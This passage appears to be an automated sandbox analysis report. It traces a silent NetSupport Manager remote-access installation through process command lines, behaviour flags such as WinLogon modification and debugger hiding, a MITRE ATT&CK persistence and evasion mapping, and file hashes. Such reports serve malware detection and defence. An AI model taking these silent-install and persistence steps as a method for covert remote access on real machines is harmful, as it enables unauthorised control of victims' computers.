C:\Windows\SysWOW64\attrib.exeATTRIB -R "C:\Users\Admin\AppData\Local\Temp\{CBB68368-7767-4CFF-B3E5-211488346702}\\nsm.lic"3⤵
- System Location Discovery: System Language Discovery
- Views/modifies file attributes
PID:3800
-
-
-
C:\Windows\Installer\MSI32DC.tmp"C:\Windows\Installer\MSI32DC.tmp" /G"C:\Program Files (x86)\NetSupport\NetSupport Manager\" /EU2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:4780
-
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 61B7B2F485201F042365D8E1BAF0680E E Global\MSI00002⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Modifies registry class
PID:1308
-
-
C:\Windows\Installer\MSI371A.tmp"C:\Windows\Installer\MSI371A.tmp" /G"C:\Program Files (x86)\NetSupport\NetSupport Manager\" /EU2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:1092
-
-
C:\Program Files (x86)\NetSupport\NetSupport Manager\checkdvd.exe"C:\Program Files (x86)\NetSupport\NetSupport Manager\checkdvd.exe"2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:2792
-
-
C:\Windows\Installer\MSI3BDE.tmp"C:\Windows\Installer\MSI3BDE.tmp" /G"C:\Program Files (x86)\NetSupport\NetSupport Manager\" /EV"NetSupport School" /EF".\Log Files" /EF".\Bookmarks" /EF".\Tests" /EF".\Store" /EF".\inv" /EF".\Resources" /EF".\Help" /EF".\Image" /EF".\Sound" /EF".\Video" /EA /EX /EC /Q /V /Q /I *2⤵
- Sets service image path in registry
- Executes dropped EXE
- Loads dropped DLL
- Modifies WinLogon
- Drops file in System32 directory
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
PID:2444 -
C:\Program Files (x86)\NetSupport\NetSupport Manager\winst64.exewinst64.exe /q /q /ex /i3⤵
- Drops file in Drivers directory
- Executes dropped EXE
- Loads dropped DLL
- Drops file in System32 directory
PID:4860
-
-
-
C:\Windows\Installer\MSI3FF8.tmp"C:\Windows\Installer\MSI3FF8.tmp" /G"C:\Program Files (x86)\NetSupport\NetSupport Manager\" /EI2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:2788
-
-
C:\Program Files (x86)\NetSupport\NetSupport Manager\pcicfgui_client.exe"C:\Program Files (x86)\NetSupport\NetSupport Manager\pcicfgui_client.exe" /Q "C:\Program Files (x86)\NetSupport\NetSupport Manager\Client32.ini"2⤵
- Executes dropped EXE
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
PID:1780 -
C:\Program Files (x86)\NetSupport\NetSupport Manager\pcicfgui_client.exe"C:\Program Files (x86)\NetSupport\NetSupport Manager\pcicfgui_client.exe"3⤵
- Executes dropped EXE
PID:3984
-
-
-
C:\Program Files (x86)\NetSupport\NetSupport Manager\client32.exe"C:\Program Files (x86)\NetSupport\NetSupport Manager\client32.exe" /* *1⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in System32 directory
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:1324 -
C:\Program Files (x86)\NetSupport\NetSupport Manager\client32.exe"C:\Program Files (x86)\NetSupport\NetSupport Manager\client32.exe" * /VistaUI2⤵
- Executes dropped EXE
- Loads dropped DLL
- Enumerates connected drives
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
- Checks SCSI registry key(s)
- Checks processor information in registry
- Modifies data under HKEY_USERS
- Suspicious behavior: AddClipboardFormatListener
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
PID:3752 -
C:\Windows\SysWOW64\cscript.exe"cscript.exe" C:\Windows\system32\Printing_Admin_Scripts\en-US\prnport.vbs -a -r NSM001 -h 127.0.0.1 -o raw -n 514033⤵
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
PID:4720
-
-
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s TapiSrv1⤵
- Modifies data under HKEY_USERS
PID:2000
Network
MITRE ATT&CK Enterprise v15
Persistence
Boot or Logon Autostart Execution
2Registry Run Keys / Startup Folder
1Winlogon Helper DLL
1Event Triggered Execution
1Component Object Model Hijacking
1Privilege Escalation
Boot or Logon Autostart Execution
2Registry Run Keys / Startup Folder
1Winlogon Helper DLL
1Event Triggered Execution
1Component Object Model Hijacking
1Defense Evasion
Hide Artifacts
1Hidden Files and Directories
1Modify Registry
2Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
41KB
MD5c1903e5a76b55af48c0d52369437ead0
SHA1aed5c49b9696ad8b0a7d9932a6944245f75e851e
SHA256dc50f5bbd4189bf86f55037d45b00b780e9dac9299894e4a557b6419393e1b2d
SHA51262c96d3f24eb5d5d51910c2bf2656cd61d1a97821d0e040818ca07b16f7bfd82a8c7fcd2e3109402416d316a92ec5d6bef80ddabe1a9a57973d99b5df72015ee
-
Filesize
745KB
MD50fcf65c63e08e77732224b2d5d959f13
SHA15419b79fe14e21d1d5b51fe8187f7b86ec20de74
SHA256f3e587f94a79c46a603b39286e93b17fabc895c6b71b26b0fc5d812cf155b7e5
SHA5127c289aaf3ac1b998c8ca9593a58c8aa3a9aa9f41852c1ed4192b908e0ad51871400d585b4fe508d49368bdfc7378807d289971914870a7a47b0410a946e5e381
-
Filesize
2KB
MD5905ad4c0382eae16df4c0dea8e4d2fcc
SHA16597192580595528a3a24cf94c4b44e44cfa6be4
SHA25649f4e7cdd3716a8e33a6659daa709606a4d74ae84525fa395efd8687f7e9d2ae
SHA512cc5784d1da871001a838d9ea2ac774cc727cb0d0f8cb76f05ae76fd35fd4bff86bf3418b4abf32f9477f25fbb7710a3fc961072cc95e1a4afd83c7a19dcbaa09
-
Filesize
7KB
MD5e302d9ea795de585975d3705dd21395b
SHA1deff1f327ec428dd57ea5e587bd3b161f451418d
SHA256bb405fdfbbbf492474f55c7d3ab1eabad2b19573c221f9db33ddf7b23d4c7709
SHA5129e9ca4fe51d3df32c2c39a27dd1ee5f41c299c6b86809f332b0e2ce36f02701a5f4efab4185640f3e30bd095d59efcc971fcbf658cd991e5ad2c5552757aaafc
-
Filesize
411KB
MD5bc4535f575200446e698610c00e1483d
SHA178d990d776f078517696a2415375ac9ebdf5d49a
SHA25688e1993beb7b2d9c3a9c3a026dc8d0170159afd3e574825c23a34b917ca61122
SHA512a9b4197f86287076a49547c8957c0a33cb5420bf29078b3052dc0b79808e6b5e65c6d09bb30ab6d522c51eb4b25b3fb1e3f3692700509f20818cfcc75b250717
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
Filesize
39.7MB
MD587ef82757aba83e7eb63c7c35dbae97a
SHA17418c4ddeecba68e253e89622ad9ca45597d9350
SHA25679040421b5a48dcc6e611dfe187b2f3e355791ad8511adb84f5c0948aa1d6c89
SHA512605495995a07d7dfaa5d8f09b9d5bde1e0281b5b6581923b9fbd7c103e5ca9f2bb8dcf8e1049c21bd90ac4d68759270d5453e0414c2f6e1eb3ef877eee1a5533
-
Filesize
253B
MD5d2c2217861f5535686409d80a0867f6f
SHA1f4d90bebfcf8f501e5b9f0427028f696c3a191c7
SHA256af9c79cf3af6a7e969208da78dfcfac54d6f956545b46f434d0e447cff94807b
SHA512656deac03f9d81792e3d78108fb7d6754ca4a21a30f0e8da72e71f64b0b015dfc299d5478a8cc27acb05a0ec7e01c2c1cfcc9eb40041e4fe0a790414e42b4a37
-
Filesize
506B
MD5ff7c0d2dbb9195083bbabaff482d5ed6
SHA15c2efbf855c376ce1b93e681c54a367a407495dc
SHA256065d817596d710d5a06060241acc207b82b844530cc56ff842ff53d8ff92a075
SHA512ea226b3a55fc59175136f104df497ebf5055624fb1c1c8073b249dfc5e1ed5818a6feee995aa82cf9ed050f1adc7a62994c90b1af03569dfe0d4551ee2bc70c9
-
Filesize
169KB
MD50e6fda2b8425c9513c774cf29a1bc72d
SHA1a79ffa24cb5956398ded44da24793a2067b85dd0
SHA256e946b2fae0b36c43064463a8c16a2774adac30c4188c5af90e9338b903c501c9
SHA512285bb7759a1214abed36162ac8be2d48df17a05278c4de97562448e20fd43b635563a6819f37e23d92a5f5ed0205a68bffe43dac0d3a67513bd0303b4e7f89aa
-
Filesize
511KB
MD5d524b639a3a088155981b9b4efa55631
SHA139d8eea673c02c1522b110829b93d61310555b98
SHA25603d91c8cd20b846625a092a3dae6a12369930c65d6216a455a00449ebb0dc289
SHA51284f8ab54122f93a40da08fd83bca767ab49eb0f73c4ab274d9bda11dd09224134df011fa02e5a3abbafcc6fbef6a60673dd48feabdf829a1e22c85a2a759b7ac
-
Filesize
487KB
MD53085d62326cc1ae4ab21489576973621
SHA1e3c847dee0ecc7176c1168d6d1df9b9e98b19936
SHA256d2dc425f47d8c80abd8cadbcd8aa53516e7754c371bd3bad3907294a6ca57c5c
SHA512f993e4e04b348f7eb346d2f3d00fdaed2212f28ba885bbe50c1959737c5b6cab9cfbe17c4aba992521aa0ecdcf5216fa9e6c36a47746077307d32170223a9a97
-
Filesize
153KB
MD5a1b7850763af9593b66ee459a081bddf
SHA16e45955fae2b2494902a1b55a3873e542f0f5ce4
SHA25641b8e92deba5206c78817236ed7f44df95636ca748d95fab05f032f5aec186af
SHA512a87a302a9a0d19d7ce293b42f5e7bc09664b21307a5321f226157fcc57eb2df2b59c6651878cb23969a182c82b55e8671ff00f8462194b81a907974a49cb25b1
-
Filesize
244KB
MD5c4ca339bc85aae8999e4b101556239dd
SHA1d090fc385e0002e35db276960a360c67c4fc85cd
SHA2564ab23609cdc64d10b97c9ccb285ed7100f55d54d983cd50762da25ecac4357f9
SHA5129185ec32545fc838d7fef6c9e4dd222dd02114c661b0b344f16287d55e6571bfe7a4233a852acc579d07bcdbab18c5c034c465b1f4bb78535ed51c3499087fe0